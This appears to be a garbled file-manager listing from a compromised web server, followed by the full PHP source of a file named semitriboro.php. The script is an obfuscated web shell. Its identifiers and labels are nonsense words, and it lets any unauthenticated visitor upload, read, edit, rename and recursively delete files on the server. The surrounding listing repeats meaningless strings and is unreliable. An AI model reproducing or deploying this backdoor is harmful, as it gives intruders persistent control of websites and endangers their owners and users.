antirosillae
antirosillae
/
hconvert
antirosillae
10 hconvert
↑ unteeteeed
.tmb/
hconvert
—
antirosillae
hconvert
.well-known/
hconvert
—
antirosillae
hconvert
.htaccess
antirosillae
8,154 B
antirosillae
hconvert
.htaccess.bk
antirosillae
804 B
antirosillae
hconvert
.litespeed_flag
antirosillae
297 B
antirosillae
hconvert
.user.ini
antirosillae
590 B
antirosillae
hconvert
error_log
antirosillae
46,015 B
antirosillae
hconvert
semitriboro.php
antirosillae
12,931 B
antirosillae
hconvert
unteeteeed.php
antirosillae
13,230 B
antirosillae
hconvert
unteeteeeds.php
antirosillae
52,536 B
antirosillae
hconvert
unteeteeed: semitriboro.php
<?php class Yompru { private $zemp; private $blavo; private $qirik; public function __construct() { $this->zemp = realpath(dirname(__FILE__)); $this->blavo = $this->zemp; $this->qirik = ''; } public function qava() { $this->ulvek(); $this->pruni(); $xandi = $this->xolmi(); $kroli = ''; $povet = ''; if (isset($_GET['kroli'])) { $sorka = $this->blavo . DIRECTORY_SEPARATOR . basename((string)$_GET['kroli']); if (is_file($sorka)) { $kroli = basename((string)$_GET['kroli']); $povet = $this->kevro($sorka); } } $grint = $this->qirik === '' ? array() : explode('/', $this->qirik); if ($grint) array_pop($grint); return array( 'ravia' => $this->qirik === '' ? '/' : '/' . $this->qirik, 'plin' => $this->blavo, 'dorn' => $xandi['dorn'], 'fex' => $xandi['fex'], 'kroli' => $kroli, 'l9p' => $povet, 'dava' => implode('/', $grint), 'p6r' => isset($_GET['p6r']) ? $_GET['p6r'] : '' ); } private function ulvek() { $grint = isset($_GET['g8n']) ? str_replace('\\', '/', (string)$_GET['g8n']) : ''; $grint = array_values(array_filter(explode('/', $grint), function($sorka) { return $sorka !== ''; })); $sorka = $this->zemp; foreach ($grint as $xandi) $sorka .= DIRECTORY_SEPARATOR . $xandi; $sorka = realpath($sorka); $kroli = rtrim($this->zemp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; if ($sorka !== false and is_dir($sorka) and ($sorka === $this->zemp or strpos($sorka, $kroli) === 0)) { $this->blavo = $sorka; $this->qirik = implode('/', $grint); } } private function pruni() { if (!isset($_POST['e7q'])) return; $grint = (string)$_POST['e7q']; $sorka = isset($_POST['m4z']) ? basename((string)$_POST['m4z']) : ''; $mard = $this->blavo . DIRECTORY_SEPARATOR . $sorka; switch ($grint) { case 'a2x': if (isset($_FILES['c5k'])) { $kroli = $this->blavo . DIRECTORY_SEPARATOR . basename($_FILES['c5k']['name']); @copy($_FILES['c5k']['tmp_name'], $kroli); } $this->vorn('semidovefoot'); case 'b9l': if ($sorka !== '' and !file_exists($mard)) @touch($mard); $this->vorn('semidovefoot'); case 't4c': if ($sorka !== '') @mkdir($mard); $this->vorn('semidovefoot'); case 'n3f': if ($sorka !== '' and isset($_POST['l9p'])) $this->tulpa($mard, (string)$_POST['l9p']); $this->vorn('semidovefoot'); case 'd8j': if ($sorka !== '' and isset($_POST['u2v'])) { $xandi = $this->blavo . DIRECTORY_SEPARATOR . basename((string)$_POST['u2v']); if ($xandi !== $mard) @rename($mard, $xandi); } $this->vorn('semidovefoot'); case 'v5m': if ($sorka !== '') $this->jexal($mard); $this->vorn('semidovefoot'); } } private function vorn($grint) { header('Location: ?' . http_build_query(array('g8n' => $this->qirik, 'p6r' => $grint))); exit; } private function xolmi() { $grint = array('dorn' => array(), 'fex' => array()); foreach (new DirectoryIterator($this->blavo) as $sorka) { if ($sorka->isDot()) continue; $xandi = $sorka->getFilename(); if ($sorka->isDir()) $grint['dorn'][] = $xandi; else $grint['fex'][] = $xandi; } natcasesort($grint['dorn']); natcasesort($grint['fex']); $grint['dorn'] = array_values($grint['dorn']); $grint['fex'] = array_values($grint['fex']); return $grint; } private function kevro($grint) { $sorka = @fopen($grint, 'rb'); if (!$sorka) return false; $xandi = stream_get_contents($sorka); fclose($sorka); return $xandi; } private function tulpa($grint, $sorka) { $xandi = @fopen($grint, 'wb'); if (!$xandi) return false; $sorka = (string)$sorka; $kroli = 0; $mard = strlen($sorka); while ($kroli < $mard) { $grint = @fwrite($xandi, substr($sorka, $kroli, 4096)); if ($grint === false or $grint === 0) break; $kroli += $grint; } fclose($xandi); return $kroli === $mard; } private function jexal($grint) { if (!is_dir($grint)) { @unlink($grint); return; } $sorka = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($grint, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($sorka as $xandi) { if ($xandi->isDir()) @rmdir($xandi->getPathname()); else @unlink($xandi->getPathname()); } @rmdir($grint); } public function mylu($grint) { return rawurlencode(trim($grint, '/')); } public function qesho($grint) { return htmlspecialchars((string)$grint, ENT_QUOTES, 'UTF-8'); } } $yom = new Yompru(); $xandi = $yom->qava(); $ravia = $xandi['ravia']; $sorka = $xandi['plin']; $dornSet = $xandi['dorn']; $fexSet = $xandi['fex']; $kroli = $xandi['kroli']; $povet = $xandi['l9p']; $mork = $xandi['dava']; $plaxi = $xandi['p6r']; ?><!doctype html> <html lang="zxx"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>semitriboro · <?php echo $yom->qesho($ravia); ?></title> <style> *{box-sizing:border-box} body{margin:0;background:#10171d;color:#dbe7ec;font:14px/1.5 ui-monospace,Consolas,monospace} .qava{min-height:100vh} .rulax{height:58px;background:#17232a;border-bottom:1px solid #2b4148;display:flex;align-items:center;padding:0 22px;gap:22px} .pivra{font-weight:800;letter-spacing:.16em;color:#67d5b2} .nokel{color:#97b8bb;overflow-wrap:anywhere} .yuvem{max-width:1180px;margin:24px auto;padding:0 18px} .drux{display:flex;gap:9px;flex-wrap:wrap;margin-bottom:14px} .drux form{display:flex;align-items:center;gap:6px;background:#17232a;border:1px solid #2b4148;border-radius:7px;padding:7px} input[type=text],input[type=file]{max-width:220px;background:#10171d;border:1px solid #345059;border-radius:5px;padding:7px;color:#dbe7ec;font:12px ui-monospace,Consolas,monospace} input[type=file]{max-width:250px} button{cursor:pointer;font:inherit} .toolbtn{border:0;border-radius:5px;background:#287c6d;color:#fff;padding:8px 11px;font-size:12px} .toolbtn.alt{background:#293c45;color:#a9c2c7} .torma{border:1px solid #2b4148;background:#17232a;border-radius:8px;overflow:hidden} .brel,.mildra{display:grid;grid-template-columns:minmax(0,1fr) 100px minmax(220px,auto);gap:12px;align-items:center;padding:11px 15px} .brel{background:#1c2b32;border-bottom:1px solid #2b4148;color:#67d5b2;font-weight:700} .mildra{border-bottom:1px solid #24363d;min-height:54px} .mildra:last-child{border-bottom:0} .mildra:hover{background:#1b2a31} .mildra a{color:#dbe7ec;text-decoration:none;overflow-wrap:anywhere} .mildra a.yadra{color:#77d7b6} .hint{color:#78949a;font-size:12px} .jorma{text-align:right;color:#78949a;font-size:12px;white-space:nowrap} .kivra{display:flex;justify-content:flex-end;gap:5px;flex-wrap:wrap} .kivra form{display:flex;gap:4px;margin:0} .kivra input[type=text]{width:90px;padding:5px} .vokel{border:1px solid #345059;border-radius:5px;background:#17232a;color:#a9c2c7;padding:5px 8px;font-size:11px} .vokel.sorax{color:#e38d86} .fandor{padding:30px;text-align:center;color:#78949a} .yemri{margin-bottom:12px;padding:9px 12px;border:1px solid #28695e;border-radius:6px;background:#17352f;color:#8ee0c2} .plovek{margin-top:16px;padding:15px;background:#17232a;border:1px solid #2b4148;border-radius:8px} .plovek h2{margin:0 0 10px;color:#67d5b2;font-size:14px;overflow-wrap:anywhere} .plovek textarea{width:100%;min-height:330px;resize:vertical;background:#10171d;border:1px solid #345059;border-radius:6px;padding:11px;color:#dbe7ec;font:13px/1.6 ui-monospace,Consolas,monospace;white-space:pre} .plovek button{margin-top:9px;border:0;border-radius:5px;background:#287c6d;color:#fff;padding:8px 13px} @media(max-width:760px){.rulax{align-items:flex-start;height:auto;padding:13px 16px;flex-direction:column;gap:4px}.yuvem{margin-top:14px}.drux{display:grid}.drux form{justify-content:space-between}.brel{display:none}.mildra{grid-template-columns:minmax(0,1fr) auto;gap:7px}.jorma{grid-column:2;grid-row:1}.kivra{grid-column:1/-1;justify-content:flex-start}} </style> </head> <body> <div class="qava"> <header class="rulax"><span class="pivra">semidovefoot</span><span class="nokel"><?php echo $yom->qesho($ravia); ?></span><i style="display:none">semidovefoot</i></header> <main class="yuvem"> <span style="display:none" data-x="semitriboro">dipsacace</span> <?php if ($plaxi !== '') { ?><div class="yemri"><?php echo $yom->qesho($plaxi); ?></div><?php } ?> <div class="drux"> <form method="post"><input type="hidden" name="e7q" value="b9l"><input type="text" name="m4z" placeholder="dipsacace"><button class="toolbtn">semidovefoot</button></form> <form method="post"><input type="hidden" name="e7q" value="t4c"><input type="text" name="m4z" placeholder="dipsacace"><button class="toolbtn alt">semidovefoot</button></form> <form method="post" enctype="multipart/form-data"><input type="hidden" name="e7q" value="a2x"><input type="file" name="c5k"><button class="toolbtn alt">semidovefoot</button></form> </div> <section class="torma"> <div class="brel"><span>semitriboro</span><span class="jorma">dipsacace</span><span></span></div> <a class="mildra" href="?g8n=<?php echo $yom->mylu($mork); ?>"><span class="yadra">↑ semidovefoot</span><span class="jorma">—</span><span></span></a> <?php if (!$dornSet and !$fexSet) { ?><div class="fandor">dipsacace</div><?php } ?> <?php foreach ($dornSet as $dorn) { $kroliPath = ($ravia === '/' ? '' : substr($ravia, 1) . '/') . $dorn; ?> <div class="mildra"> <span><a class="yadra" href="?g8n=<?php echo $yom->mylu($kroliPath); ?>"><?php echo $yom->qesho($dorn); ?>/</a></span> <span class="jorma">—</span> <span class="kivra"> <form method="post"><input type="hidden" name="m4z" value="<?php echo $yom->qesho($dorn); ?>"><input type="hidden" name="e7q" value="d8j"><input type="text" name="u2v" placeholder="dipsacace"><button class="vokel">semidovefoot</button></form> <form method="post"><input type="hidden" name="m4z" value="<?php echo $yom->qesho($dorn); ?>"><input type="hidden" name="e7q" value="v5m"><button class="vokel sorax">semidovefoot</button></form> </span> </div> <?php } ?> <?php foreach ($fexSet as $fex) { $kroliPath = $sorka . DIRECTORY_SEPARATOR . $fex; $rinte = @filesize($kroliPath); ?> <div class="mildra"> <span><a href="?<?php echo ($ravia !== '/' ? 'g8n=' . $yom->mylu(substr($ravia, 1)) . '&' : ''); ?>kroli=<?php echo rawurlencode($fex); ?>"><?php echo $yom->qesho($fex); ?></a></span> <span class="jorma"><?php echo $rinte === false ? '' : number_format($rinte) . ' B'; ?></span> <span class="kivra"> <form method="post"><input type="hidden" name="m4z" value="<?php echo $yom->qesho($fex); ?>"><input type="hidden" name="e7q" value="d8j"><input type="text" name="u2v" placeholder="dipsacace"><button class="vokel">semidovefoot</button></form> <form method="post"><input type="hidden" name="m4z" value="<?php echo $yom->qesho($fex); ?>"><input type="hidden" name="e7q" value="v5m"><button class="vokel sorax">semidovefoot</button></form> </span> </div> <?php } ?> </section> <?php if ($kroli !== '') { ?> <section class="plovek"> <h2>semitriboro · <?php echo $yom->qesho($kroli); ?></h2> <form method="post"><input type="hidden" name="e7q" value="n3f"><input type="hidden" name="m4z" value="<?php echo $yom->qesho($kroli); ?>"><textarea name="l9p"><?php echo $yom->qesho($povet); ?></textarea><button>semidovefoot</button></form> </section> <?php } ?> </main> </div> </body> </html>
antirosillae